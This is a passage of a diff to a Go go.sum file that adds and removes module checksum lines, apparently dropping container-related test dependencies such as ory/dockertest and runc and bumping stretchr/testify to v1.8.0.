h1:5ibWZ6iY0NctNGWo87LalDlEZ6R41TqbbDamhfG/Qzo= github.com/magiconair/properties v1.8.6/go.mod h1:y3VJvCyxH9uVvJTWEGAELF3aiYNyPKd5NZ3oSwXrF60= +github.com/mailru/easyjson v0.0.0-20190614124828-94de47d64c63/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= +github.com/mailru/easyjson v0.0.0-20190626092158-b2ccc519800e/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= +github.com/matryer/moq v0.0.0-20190312154309-6cfb0558e1bd/go.mod h1:9ELz6aaclSIGnZBoaSLZ3NAl1VTufbOrXBPvtcy6WiQ= github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= github.com/mattn/go-colorable v0.1.1/go.mod h1:FuOcm+DKB9mbwrcAfNl7/TZVBZ6rcnceauSikq3lYCQ= +github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= github.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= +github.com/mattn/go-colorable v0.1.7/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= +github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.12 h1:jF+Du6AlPIjs2BiUiQlKOX0rt3SujHxPnksPKZbaA40= github.com/mattn/go-colorable v0.1.12/go.mod h1:u5H1YNBxpqRaxsYJYSkiCWKzEfiAb1Gb520KVy5xxl4= @@ -462,6 +449,7 @@ github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNx github.com/mattn/go-isatty v0.0.5/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.7/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= +github.com/mattn/go-isatty v0.0.9/go.mod h1:YNRxwqDuOph6SZLI9vUUz6OYw3QyUt7WiY2yME+cCiQ= github.com/mattn/go-isatty v0.0.10/go.mod h1:qgIWMr58cqv1PHHyhnkY9lrL7etaEgOFcMEpPG5Rm84= github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE= github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= @@ -502,15 +490,11 @@ github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyua github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/mitchellh/reflectwalk v1.0.2 h1:G2LzWKi524PWgd3mLHV8Y5k7s6XUvT0Gef6zxSIeXaQ= github.com/mitchellh/reflectwalk v1.0.2/go.mod h1:mSTlrgnPZtwu0c4WaC2kGObEpuNDbx0jmZXqmk4esnw= -github.com/moby/sys/mountinfo v0.5.0/go.mod h1:3bMD3Rg+zkqx8MRYPi7Pyb0Ie97QEBmdxbhnCLlSvSU= -github.com/moby/term v0.0.0-20201216013528-df9cb8a40635 h1:rzf0wL0CHVc8CEsgyygG0Mn9CNCCPZqOPaz8RiiHYQk= -github.com/moby/term v0.0.0-20201216013528-df9cb8a40635/go.mod h1:FBS0z0QWA44HXygs7VXDUOGoN/1TV3RuWkLO04am3wc= github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= -github.com/mrunalp/fileutils v0.5.0/go.mod h1:M1WthSahJixYnrXQl/DFQuteStB1weuxD2QJNHXfbSQ= github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= github.com/mwitkow/go-conntrack v0.0.0-20190716064945-2f068394615f/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= github.com/mwitkow/go-proto-validators v0.0.0-20180403085117-0950a7990007 h1:28i1IjGcx8AofiB4N3q5Yls55VEaitzuEPkFJEVgGkA= @@ -523,17 +507,7 @@ github.com/o1egl/paseto v1.0.0/go.mod h1:5HxsZPmw/3RI2pAwGo1HhOOwSdvBpcuVzO7uDkm github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U= github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec= github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY= -github.com/opencontainers/go-digest v1.0.0 h1:apOUWs51W5PlhuyGyz9FCeeBIOUDA/6nW8Oi/yOhh5U= -github.com/opencontainers/go-digest v1.0.0/go.mod h1:0JzlMkj0TRzQZfJkVvzbP0HBR3IKzErnv2BNG4W4MAM= -github.com/opencontainers/image-spec v1.0.2 h1:9yCKha/T5XdGtO0q9Q9a6T5NUCsTn/DrBg0D7ufOcFM= -github.com/opencontainers/image-spec v1.0.2/go.mod h1:BtxoFyWECRxE4U/7sNtV5W15zMzWCbyJoFRP3s7yZA0= -github.com/opencontainers/runc v1.1.2 h1:2VSZwLx5k/BfsBxMMipG/LYUnmqOD/BPkIVgQUcTlLw= -github.com/opencontainers/runc v1.1.2/go.mod h1:Tj1hFw6eFWp/o33uxGf5yF2BX5yz2Z6iptFpuvbbKqc= -github.com/opencontainers/runtime-spec v1.0.3-0.20210326190908-1c3f411f0417/go.mod h1:jwyrGlmzljRJv/Fgzds9SsS/C5hL+LL3ko9hs6T5lQ0= -github.com/opencontainers/selinux v1.10.0/go.mod h1:2i0OySw99QjzBBQByd1Gr9gSjvuho1lHsJxIJ3gGbJI= github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o= -github.com/ory/dockertest/v3 v3.9.1 h1:v4dkG+dlu76goxMiTT2j8zV7s4oPPEppKT8K8p2f1kY= -github.com/ory/dockertest/v3 v3.9.1/go.mod h1:42Ir9hmvaAPm0Mgibk6mBPi7SFvTXxEcnztDYOJ//uM= github.com/ory/go-acc v0.2.8 h1:rOHHAPQjf0u7eHFGWpiXK+gIu/e0GRSJNr9pDukdNC4= github.com/ory/go-acc v0.2.8/go.mod h1:iCRZUdGb/7nqvSn8xWZkhfVrtXRZ9Wru2E5rabCjFPI= github.com/ory/viper v1.7.5 h1:+xVdq7SU3e1vNaCsk/ixsfxE4zylk1TJUiJrY647jUE= @@ -622,7 +596,6 @@ github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdh github.com/schollz/progressbar/v2 v2.15.0 h1:dVzHQ8fHRmtPjD3K10jT3Qgn/+H+92jhPrhmxIJfDz8= github.com/schollz/progressbar/v2 v2.15.0/go.mod h1:UdPq3prGkfQ7MOzZKlDRpYKcFqEMczbD7YmbPgpzKMI= github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc= -github.com/seccomp/libseccomp-golang v0.9.2-0.20210429002308-3879420cc921/go.mod h1:JA8cRccbGaA1s33RQf7Y1+q9gHmZX1yB/z9WDN1C6fg= github.com/shopspring/decimal v0.0.0-20180709203117-cd690d0c9e24/go.mod h1:M+9NzErvs504Cn4c5DxATwIqPbtswREoFCre64PpcG4= github.com/shopspring/decimal v1.2.0 h1:abSATXmQEYyShuxI4/vyW3tV1MrKAJzCZ/0zLUXYbsQ= github.com/shopspring/decimal v1.2.0/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o= @@ -632,9 +605,6 @@ github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPx github.com/sirupsen/logrus v1.4.1/go.mod h1:ni0Sbl8bgC9z8RoU9G6nDWqqs/fq4eDPysMBDgk/93Q= github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE= github.com/sirupsen/logrus v1.6.0/go.mod h1:7uNnSEd1DgxDLC74fIahvMZmmYsHGZGEOFrfsX/uA88= -github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0= -github.com/sirupsen/logrus v1.8.1 h1:dJKuHgqk1NNQlqoA6BTlM1Wf9DOH3NBjQyu0h9+AZZE= -github.com/sirupsen/logrus v1.8.1/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0= github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc= github.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA= github.com/soheilhy/cmux v0.1.4/go.mod h1:IM3LyeVVIOuxMH7sFAkER9+bJ4dT7Ms6E4xg4kGIyLM= @@ -662,6 +632,7 @@ github.com/spf13/viper v1.12.0/go.mod h1:b6COn30jlNxbm/V2IqWiNWkJ+vZNiMNksliPCiu github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoHMkEqE= +github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/testify v0.0.0-20170130113145-4d4bfba8f1d1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= @@ -670,24 +641,18 @@ github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81P github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= -github.com/stretchr/testify v1.7.1 h1:5TQK59W5E3v0r2duFAb7P95B6hEeOyEnHRa8MjYSMTY= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.8.0 h1:pSgiaMZlXftHpm5L7V1+rVB+AZJydKsMxsQBIJw4PKk= +github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw= github.com/subosito/gotenv v1.3.0 h1:mjC+YW8QpAdXibNi+vNWgzmgBH4+5l5dCXv8cNysBLI= github.com/subosito/gotenv v1.3.0/go.mod h1:YzJjq/33h7nrwdY+iHMhEOEEbW0ovIz0tB6t6PwAXzs= -github.com/syndtr/gocapability v0.0.0-20200815063812-42c35b437635/go.mod h1:hkRG7XYTFWNJGYcbNJQlaLq0fg1yr4J4t/NcTQtrfww= github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U= github.com/tv42/httpunix v0.0.0-20150427012821-b75d8614f926/go.mod h1:9ESjWnEqriFuLhtthL60Sar/7RFoluCcXsuvEwTV5KM= github.com/ugorji/go v1.1.4/go.mod h1:uQMGLiO92mf5W77hV/PUCpI3pbzQx3CRekS0kk+RGrc= -github.com/urfave/cli v1.22.1/go.mod h1:Gos4lmkARVdJ6EkW0WaNv/tZAAMe9V7XWyB60NtXRu0= -github.com/vishvananda/netlink v1.1.0/go.mod h1:cTgwzPIzzgDAYoQrMm0EdrjRUBkTqKYppBueQtXaqoE= -github.com/vishvananda/netns v0.0.0-20191106174202-0a2b9b5464df/go.mod h1:JP3t17pCcGlemwknint6hfoeCVQrEMVwxRLRjXpq+BU= -github.com/xeipuuv/gojsonpointer v0.0.0-20180127040702-4e3ac2762d5f h1:J9EGpcZtP0E/raorCMxlFGSTBrsSlaDGf3jU/qvAE2c= -github.com/xeipuuv/gojsonpointer v0.0.0-20180127040702-4e3ac2762d5f/go.mod h1:N2zxlSyiKSe5eX1tZViRH5QA0qijqEDrYZiPEAiq3wU= -github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415 h1:EzJWgHovont7NscjpAxXsDA8S8BMYve8Y5+7cuRE7R0= -github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415/go.mod h1:GwrjFmJcFw6At/Gs6z4yjiIwzuJ1/+UwLxMQDVQXShQ= -github.com/xeipuuv/gojsonschema v1.2.0 h1:LhYJRs+L4fBtjZUfuSZIKGeVu0QRy8e5Xi7D17UxZ74= -github.com/xeipuuv/gojsonschema v1.2.0/go.mod h1:anYRn/JVcOK2ZgGU+IjEV4nwlhoK5sQluxsYJ78Id3Y= +github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc= +github.com/valyala/fasttemplate v1.0.1/go.mod h1:UQGH1tvbgY+Nz5t2n7tXsz52dQxojPUpymEIMZ47gx8= +github.com/valyala/fasttemplate v1.2.1/go.mod h1:KHLXt3tVN2HBp8eijSv/kGJopbvo7S+qRAEEKiv+SiQ= github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU= github.com/xordataexchange/crypt v0.0.3-0.20170626215501-b2862e3d0a77/go.mod h1:aYKd//L2LvnjZzWKhF00oedf4jCCReLcmhLdhm1A27Q= github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= @@ -739,7 +704,9 @@ golang.org/x/crypto v0.0.0-20190923035154-9ee001bba392/go.mod h1:/lpIB1dKB+9EgE3 golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20200510223506-06a226fb4e37/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/crypto v0.0.0-20200820211705-5c72a883971a/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20201203163018-be400aefbc4c/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I= +golang.org/x/crypto v0.0.0-20201221181555-eec23a3978ad/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I= golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20220411220226-7b82a4e95df4/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= @@ -819,7 +786,6 @@ golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwY golang.org/x/net v0.0.0-20201031054903-ff519b6c9102/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= golang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= golang.org/x/net v0.0.0-20201209123823-ac852fbbde11/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= -golang.org/x/net v0.0.0-20201224014010-6772e930b67b/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20210119194325-5f4716e94777/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20210316092652-d523dce5a7f4/go.mod h1:RBQZq4jEuRlivfhVLdyRGr576XBO4/greRjx4P4O3yc= @@ -885,7 +851,6 @@ golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190606203320-7fc4e5ec1444/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190813064441-fde4db37ae7a/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -895,7 +860,6 @@ golang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20191115151921-52ab43148777/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191228213918-04cbcbbfeed8/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200106162015-b016eb3dc98e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -917,7 +881,7 @@ golang.org/x/sys v0.0.0-20200523222454-059865788121/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20200615200032-f1bc736245b1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200625212154-ddb9806d33ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200803210538-64077c9b5642/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200831180312-196b9ba8737a/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200826173525-f9321e4c35a6/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200905004654-be1d3432aa8f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -942,12 +906,9 @@ golang.org/x/sys v0.0.0-20210616094352-59db8d763f22/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210806184541-e5e7981a1069/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210823070655-63515b42dcdf/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210906170528-6f6e22806c34/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210908233432-aa78b53d3365/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211007075335-d3039528d8ac/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20211025201205-69cdffdb9359/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20211116061358-0a5406a5449c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211210111614-af8b64212486/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= @@ -957,7 +918,6 @@ golang.org/x/sys v0.0.0-20220209214540-3681064d5158/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20220227234510-4e6760a101f9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220319134239-a9b59b0215f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220328115105-d36c6a25d886/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220405210540-1e041c57c461/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220412211240-33da011f77ad/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220502124256-b6088ccd6cba/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= @@ -980,6 +940,8 @@ golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/time v0.0.0-20201208040808-7e3f01d25324/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= @@ -994,7 +956,6 @@ golang.org/x/tools v0.0.0-20190506145303-2d16b83fe98c/go.mod h1:RgjU9mgBXZiqYHBn golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= golang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= -golang.org/x/tools v0.0.0-20190624222133-a101b041ded4/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20190823170909-c4a336ef6a2f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= @@ -1258,9 +1219,6 @@ gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C gopkg.in/yaml.v3 v3.0.0/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= -gotest.tools/v3 v3.0.2/go.mod h1:3SzNCllyD9/Y+b5r9JIKQ474KzkZyqLqEfYqMsX94Bk= -gotest.tools/v3 v3.2.0 